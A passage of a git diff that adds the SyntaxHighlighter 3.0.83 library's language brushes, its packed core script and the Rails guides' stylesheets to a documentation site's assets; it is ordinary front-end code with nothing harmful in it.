+ { regex: /\+|\-|\*|\/|\%|=|==/gm, css: 'keyword' },
+ { regex: /\b\d+\.?\w*/g, css: 'value' },
+ { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' },
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' },
+ { regex: new RegExp(this.getKeywords(special), 'gm'), css: 'color1' }
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['py', 'python'];
+
+ SyntaxHighlighter.brushes.Python = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js b/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
new file mode 100644
index 0000000..ff82130
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js
@@ -0,0 +1,55 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by Erik Peterson.
+
+ var keywords = 'alias and BEGIN begin break case class def define_method defined do each else elsif ' +
+ 'END end ensure false for if in module new next nil not or raise redo rescue retry return ' +
+ 'self super then throw true undef unless until when while yield';
+
+ var builtins = 'Array Bignum Binding Class Continuation Dir Exception FalseClass File::Stat File Fixnum Fload ' +
+ 'Hash Integer IO MatchData Method Module NilClass Numeric Object Proc Range Regexp String Struct::TMS Symbol ' +
+ 'ThreadGroup Thread Time TrueClass';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
+ { regex: /\b[A-Z0-9_]+\b/g, css: 'constants' }, // constants
+ { regex: /:[a-z][A-Za-z0-9_]*/g, css: 'color2' }, // symbols
+ { regex: /(\$|@@|@)\w+/g, css: 'variable bold' }, // $global, @instance, and @@class variables
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
+ { regex: new RegExp(this.getKeywords(builtins), 'gm'), css: 'color1' } // builtins
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['ruby', 'rails', 'ror', 'rb'];
+
+ SyntaxHighlighter.brushes.Ruby = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js b/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
new file mode 100644
index 0000000..aa04da0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
@@ -0,0 +1,94 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ function getKeywordsCSS(str)
+ {
+ return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
+ };
+
+ function getValuesCSS(str)
+ {
+ return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
+ };
+
+ var keywords = 'ascent azimuth background-attachment background-color background-image background-position ' +
+ 'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
+ 'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
+ 'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
+ 'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
+ 'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
+ 'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
+ 'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
+ 'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
+ 'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
+ 'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
+ 'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
+ 'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
+ 'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
+
+ var values = 'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
+ 'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
+ 'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero digits disc dotted double '+
+ 'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
+ 'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
+ 'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
+ 'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
+ 'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
+ 'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
+ 'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
+ 'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
+ 'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
+ 'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
+ 'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
+
+ var fonts = '[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
+
+ var statements = '!important !default';
+ var preprocessor = '@import @extend @debug @warn @if @for @while @mixin @include';
+
+ var r = SyntaxHighlighter.regexLib;
+
+ this.regexList = [
+ { regex: r.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: r.singleLineCComments, css: 'comments' }, // singleline comments
+ { regex: r.doubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: r.singleQuotedString, css: 'string' }, // single quoted strings
+ { regex: /\#[a-fA-F0-9]{3,6}/g, css: 'value' }, // html colors
+ { regex: /\b(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)\b/g, css: 'value' }, // sizes
+ { regex: /\$\w+/g, css: 'variable' }, // variables
+ { regex: new RegExp(this.getKeywords(statements), 'g'), css: 'color3' }, // statements
+ { regex: new RegExp(this.getKeywords(preprocessor), 'g'), css: 'preprocessor' }, // preprocessor
+ { regex: new RegExp(getKeywordsCSS(keywords), 'gm'), css: 'keyword' }, // keywords
+ { regex: new RegExp(getValuesCSS(values), 'g'), css: 'value' }, // values
+ { regex: new RegExp(this.getKeywords(fonts), 'g'), css: 'color1' } // fonts
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['sass', 'scss'];
+
+ SyntaxHighlighter.brushes.Sass = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js b/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
new file mode 100644
index 0000000..4b0b6f0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
@@ -0,0 +1,51 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by Yegor Jbanov and David Bernard.
+
+ var keywords = 'val sealed case def true trait implicit forSome import match object null finally super ' +
+ 'override try lazy for var catch throw type extends class while with new final yield abstract ' +
+ 'else do if return protected private this package false';
+
+ var keyops = '[_:=><%#@]+';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString, css: 'string' }, // multi-line strings
+ { regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' }, // double-quoted string
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
+ { regex: /0x[a-f0-9]+|\d+(\.\d+)?/gi, css: 'value' }, // numbers
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
+ { regex: new RegExp(keyops, 'gm'), css: 'keyword' } // scala keyword
+ ];
+ }
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['scala'];
+
+ SyntaxHighlighter.brushes.Scala = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js b/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
new file mode 100644
index 0000000..5c2cd88
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
@@ -0,0 +1,66 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var funcs = 'abs avg case cast coalesce convert count current_timestamp ' +
+ 'current_user day isnull left lower month nullif replace right ' +
+ 'session_user space substring sum system_user upper user year';
+
+ var keywords = 'absolute action add after alter as asc at authorization begin bigint ' +
+ 'binary bit by cascade char character check checkpoint close collate ' +
+ 'column commit committed connect connection constraint contains continue ' +
+ 'create cube current current_date current_time cursor database date ' +
+ 'deallocate dec decimal declare default delete desc distinct double drop ' +
+ 'dynamic else end end-exec escape except exec execute false fetch first ' +
+ 'float for force foreign forward free from full function global goto grant ' +
+ 'group grouping having hour ignore index inner insensitive insert instead ' +
+ 'int integer intersect into is isolation key last level load local max min ' +
+ 'minute modify move name national nchar next no numeric of off on only ' +
+ 'open option order out output partial password precision prepare primary ' +
+ 'prior privileges procedure public read real references relative repeatable ' +
+ 'restrict return returns revoke rollback rollup rows rule schema scroll ' +
+ 'second section select sequence serializable set size smallint static ' +
+ 'statistics table temp temporary then time timestamp to top transaction ' +
+ 'translation trigger true truncate uncommitted union unique update values ' +
+ 'varchar varying view when where with work';
+
+ var operators = 'all and any between cross in join like not null or outer some';
+
+ this.regexList = [
+ { regex: /--(.*)$/gm, css: 'comments' }, // one line and multiline comments
+ { regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString, css: 'string' }, // single quoted strings
+ { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'color2' }, // functions
+ { regex: new RegExp(this.getKeywords(operators), 'gmi'), css: 'color1' }, // operators and such
+ { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['sql'];
+
+ SyntaxHighlighter.brushes.Sql = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
+
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js b/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
new file mode 100644
index 0000000..be845dc
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
@@ -0,0 +1,56 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var keywords = 'AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto ' +
+ 'Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate ' +
+ 'CDec CDbl Char CInt Class CLng CObj Const CShort CSng CStr CType ' +
+ 'Date Decimal Declare Default Delegate Dim DirectCast Do Double Each ' +
+ 'Else ElseIf End Enum Erase Error Event Exit False Finally For Friend ' +
+ 'Function Get GetType GoSub GoTo Handles If Implements Imports In ' +
+ 'Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module ' +
+ 'MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing ' +
+ 'NotInheritable NotOverridable Object On Option Optional Or OrElse ' +
+ 'Overloads Overridable Overrides ParamArray Preserve Private Property ' +
+ 'Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume ' +
+ 'Return Select Set Shadows Shared Short Single Static Step Stop String ' +
+ 'Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until ' +
+ 'Variant When While With WithEvents WriteOnly Xor';
+
+ this.regexList = [
+ { regex: /'.*$/gm, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
+ { regex: /^\s*#.*$/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // vb keyword
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['vb', 'vbnet'];
+
+ SyntaxHighlighter.brushes.Vb = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js b/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
new file mode 100644
index 0000000..69d9fd0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
@@ -0,0 +1,69 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ function process(match, regexInfo)
+ {
+ var constructor = SyntaxHighlighter.Match,
+ code = match[0],
+ tag = new XRegExp('(<|<)[\\s\\/\\?]*(?<name>[:\\w-\\.]+)', 'xg').exec(code),
+ result = []
+ ;
+
+ if (match.attributes != null)
+ {
+ var attributes,
+ regex = new XRegExp('(?<name> [\\w:\\-\\.]+)' +
+ '\\s*=\\s*' +
+ '(?<value> ".*?"|\'.*?\'|\\w+)',
+ 'xg');
+
+ while ((attributes = regex.exec(code)) != null)
+ {
+ result.push(new constructor(attributes.name, match.index + attributes.index, 'color1'));
+ result.push(new constructor(attributes.value, match.index + attributes.index + attributes[0].indexOf(attributes.value), 'string'));
+ }
+ }
+
+ if (tag != null)
+ result.push(
+ new constructor(tag.name, match.index + tag[0].indexOf(tag.name), 'keyword')
+ );
+
+ return result;
+ }
+
+ this.regexList = [
+ { regex: new XRegExp('(\\<|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\>|>)', 'gm'), css: 'color2' }, // <![ ... [ ... ]]>
+ { regex: SyntaxHighlighter.regexLib.xmlComments, css: 'comments' }, // <!-- ... -->
+ { regex: new XRegExp('(<|<)[\\s\\/\\?]*(\\w+)(?<attributes>.*?)[\\s\\/\\?]*(>|>)', 'sg'), func: process }
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['xml', 'xhtml', 'xslt', 'html'];
+
+ SyntaxHighlighter.brushes.Xml = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shCore.js b/guides/assets/javascripts/syntaxhighlighter/shCore.js
new file mode 100644
index 0000000..b47b645
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shCore.js
@@ -0,0 +1,17 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('K M;I(M)1S 2U("2a\'t 4k M 4K 2g 3l 4G 4H");(6(){6 r(f,e){I(!M.1R(f))1S 3m("3s 15 4R");K a=f.1w;f=M(f.1m,t(f)+(e||""));I(a)f.1w={1m:a.1m,19:a.19?a.19.1a(0):N};H f} [...]
diff --git a/guides/assets/stylesheets/fixes.css b/guides/assets/stylesheets/fixes.css
new file mode 100644
index 0000000..bf86b29
--- /dev/null
+++ b/guides/assets/stylesheets/fixes.css
@@ -0,0 +1,16 @@
+/*
+ Fix a rendering issue affecting WebKits on Mac.
+ See https://github.com/lifo/docrails/issues#issue/16 for more information.
+*/
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ line-height: 1.25em !important;
+}
diff --git a/guides/assets/stylesheets/kindle.css b/guides/assets/stylesheets/kindle.css
new file mode 100644
index 0000000..b26cd17
--- /dev/null
+++ b/guides/assets/stylesheets/kindle.css
@@ -0,0 +1,11 @@
+p { text-indent: 0; }
+
+p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;}
+
+.pagebreak { page-break-before: always; }
+#toc H3 {
+ text-indent: 1em;
+}
+#toc .document {
+ text-indent: 2em;
+}
\ No newline at end of file
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
new file mode 100644
index 0000000..dd029e6
--- /dev/null
+++ b/guides/assets/stylesheets/main.css
@@ -0,0 +1,709 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified February 8, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {float: left; margin-right: 1em;}
+.right {float: right; margin-left: 1em;}
+ at media screen and (max-width: 480px) {
+ .left, .right { float: none; }
+}
+.small {font-size: smaller;}
+.large {font-size: larger;}
+.hide {display: none;}
+
+li ul, li ol { margin:0 1.5em; }
+ul, ol { margin: 0 1.5em 1.5em 1.5em; }
+
+ul { list-style-type: disc; }
+ol { list-style-type: decimal; }
+
+dl { margin: 0 0 1.5em 0; }
+dl dt { font-weight: bold; }
+dd { margin-left: 1.5em;}
+
+pre, code {
+ font-size: 1em;
+ font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
+ line-height: 1.5;
+ margin: 1.5em 0;
+ overflow: auto;
+ color: #222;
+}
+pre,tt,code,.note>p {
+ white-space: pre-wrap; /* css-3 */
+ white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */
+ white-space: -pre-wrap; /* Opera 4-6 */
+ white-space: -o-pre-wrap; /* Opera 7 */
+ word-wrap: break-word; /* Internet Explorer 5.5+ */
+}
+
+abbr, acronym { border-bottom: 1px dotted #666; }
+address { margin: 0 0 1.5em; font-style: italic; }
+del { color:#666; }
+
+blockquote { margin: 1.5em; color: #666; font-style: italic; }
+strong { font-weight: bold; }
+em, dfn { font-style: italic; }
+dfn { font-weight: bold; }
+sup, sub { line-height: 0; }
+p {margin: 0 0 1.5em;}
+
+label { font-weight: bold; }
+fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
+legend { font-weight: bold; font-size:1.2em; }
+
+input.text, input.title,
+textarea, select {
+ margin:0.5em 0;
+ border:1px solid #bbb;
+}
+
+table {
+ margin: 0 0 1.5em;
+ border: 2px solid #CCC;
+ background: #FFF;
+ border-collapse: collapse;
+}
+
+table th, table td {
+ padding: 0.25em 1em;
+ border: 1px solid #CCC;
+ border-collapse: collapse;
+}
+
+table th {
+ border-bottom: 2px solid #CCC;
+ background: #EEE;
+ font-weight: bold;
+ padding: 0.5em 1em;
+}
+
+img {
+ max-width: 100%;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+ text-align: center;
+ font-family: Helvetica, Arial, sans-serif;
+ font-size: 87.5%;
+ line-height: 1.5em;
+ background: #fff;
+ color: #999;
+}
+
+.wrapper {
+ text-align: left;
+ margin: 0 auto;
+ max-width: 960px;
+ padding: 0 1em;
+}
+
+.red-button {
+ display: inline-block;
+ border-top: 1px solid rgba(255,255,255,.5);
+ background: #751913;
+ background: -webkit-gradient(linear, left top, left bottom, from(#c52f24), to(#751913));
+ background: -webkit-linear-gradient(top, #c52f24, #751913);
+ background: -moz-linear-gradient(top, #c52f24, #751913);
+ background: -ms-linear-gradient(top, #c52f24, #751913);
+ background: -o-linear-gradient(top, #c52f24, #751913);
+ padding: 9px 18px;
+ -webkit-border-radius: 11px;
+ -moz-border-radius: 11px;
+ border-radius: 11px;
+ -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0;
+ -moz-box-shadow: rgba(0,0,0,1) 0 1px 0;
+ box-shadow: rgba(0,0,0,1) 0 1px 0;
+ text-shadow: rgba(0,0,0,.4) 0 1px 0;
+ color: white;
+ font-size: 15px;
+ font-family: Helvetica, Arial, Sans-Serif;
+ text-decoration: none;
+ vertical-align: middle;
+}
+.red-button:active {
+ border-top: none;
+ padding-top: 10px;
+ background: -webkit-gradient(linear, left top, left bottom, from(#751913), to(#c52f24));
+ background: -webkit-linear-gradient(top, #751913, #c52f24);
+ background: -moz-linear-gradient(top, #751913, #c52f24);
+ background: -ms-linear-gradient(top, #751913, #c52f24);
+ background: -o-linear-gradient(top, #751913, #c52f24);
+}
+
+#topNav {
+ padding: 1em 0;
+ color: #565656;
+ background: #222;
+}
+
+.s-hidden {
+ display: none;
+}
+
+ at media screen and (min-width: 1025px) {
+ .more-info-button {
+ display: none;
+ }
+ .more-info-links {
+ list-style: none;
+ display: inline;
+ margin: 0;
+ }
+
+ .more-info {
+ display: inline-block;
+ }
+ .more-info:after {
+ content: " |";
+ }
+
+ .more-info:last-child:after {
+ content: "";
+ }
+}
+
+ at media screen and (max-width: 1024px) {
+ #topNav .wrapper { text-align: center; }
+ .more-info-button {
+ position: relative;
+ z-index: 25;
+ }
+
+ .more-info-label {
+ display: none;
+ }
+
+ .more-info-container {
+ position: absolute;
+ top: .5em;
+ z-index: 20;
+ margin: 0 auto;
+ left: 0;
+ right: 0;
+ width: 20em;
+ }
+
+ .more-info-links {
+ display: block;
+ list-style: none;
+ background-color: #c52f24;
+ border-radius: 5px;
+ padding-top: 5.25em;
+ border: 1px #980905 solid;
+ }
+ .more-info-links.s-hidden {
+ display: none;
+ }
+ .more-info {
+ padding: .75em;
+ border-top: 1px #980905 solid;
+ }
+ .more-info a, .more-info a:link, .more-info a:visited {
+ display: block;
+ color: white;
+ width: 100%;
+ height: 100%;
+ text-decoration: none;
+ text-transform: uppercase;
+ }
+}
+
+#header {
+ background: #c52f24 url(../images/header_tile.gif) repeat-x;
+ color: #FFF;
+ padding: 1.5em 0;
+ z-index: 99;
+}
+
+#feature {
+ background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
+ color: #333;
+ padding: 0.5em 0 1.5em;
+}
+
+#container {
+ color: #333;
+ padding: 0.5em 0 1.5em 0;
+}
+
+#mainCol {
+ max-width: 630px;
+ margin-left: 2em;
+}
+
+#subCol {
+ position: absolute;
+ z-index: 0;
+ top: 0;
+ right: 0;
+ background: #FFF;
+ padding: 1em 1.5em 1em 1.25em;
+ width: 17em;
+ font-size: 0.9285em;
+ line-height: 1.3846em;
+ margin-right: 1em;
+}
+
+
+ at media screen and (max-width: 800px) {
+ #subCol {
+ position: static;
+ width: inherit;
+ margin-left: -1em;
+ margin-right: 0;
+ padding-right: 1.25em;
+ }
+}
+
+#extraCol {display: none;}
+
+#footer {
+ padding: 2em 0;
+ background: #222 url(../images/footer_tile.gif) repeat-x;
+}
+#footer .wrapper {
+ padding-left: 1em;
+ max-width: 960px;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;}
+#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;}
+
+ at media screen and (max-width: 800px) {
+ #feature .wrapper { padding-right: 0; }
+}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+ color: #ee3f3f;
+ text-decoration: underline;
+}
+
+#mainCol a, #subCol a, #feature a {color: #980905;}
+#mainCol a code, #subCol a code, #feature a code {color: #980905;}
+
+/* Navigation
+--------------------------------------- */
+
+.nav {
+ margin: 0;
+ padding: 0;
+ list-style: none;
+ float: right;
+ margin-top: 1.5em;
+ font-size: 1.2857em;
+}
+
+.nav .nav-item {color: #FFF; text-decoration: none;}
+.nav .nav-item:hover {text-decoration: underline;}
+
+.guides-index-large, .guides-index-small .guides-index-item {
+ padding: 0.5em 1.5em;
+ border-radius: 1em;
+ -webkit-border-radius: 1em;
+ -moz-border-radius: 1em;
+ background: #980905;
+ position: relative;
+ color: white;
+}
+
+.guides-index .guides-index-item {
+ background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
+ padding-right: 1em;
+ position: relative;
+ z-index: 15;
+ padding-bottom: 0.125em;
+}
+
+.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover {
+ background-position: right -81px;
+ text-decoration: underline !important;
+}
+
+ at media screen and (min-width: 481px) {
+ .nav {
+ float: right;
+ margin-top: 1.5em;
+ font-size: 1.2857em;
+ }
+ .nav>li {
+ display: inline;
+ margin-left: 0.5em;
+ }
+ .guides-index.guides-index-small {
+ display: none;
+ }
+}
+
+ at media screen and (max-width: 480px) {
+ .nav {
+ float: none;
+ width: 100%;
+ text-align: center;
+ }
+ .nav .nav-item {
+ display: block;
+ margin: 0;
+ width: 100%;
+ background-color: #980905;
+ border: solid 1px #620c04;
+ border-top: 0;
+ padding: 15px 0;
+ text-align: center;
+ }
+ .nav .nav-item, .nav-item.guides-index-item {
+ text-transform: uppercase;
+ }
+ .nav .nav-item:first-child, .nav-item.guides-index-small {
+ border-top: solid 1px #620c04;
+ }
+ .guides-index.guides-index-small {
+ display: block;
+ margin-top: 1.5em;
+ }
+ .guides-index.guides-index-large {
+ display: none;
+ }
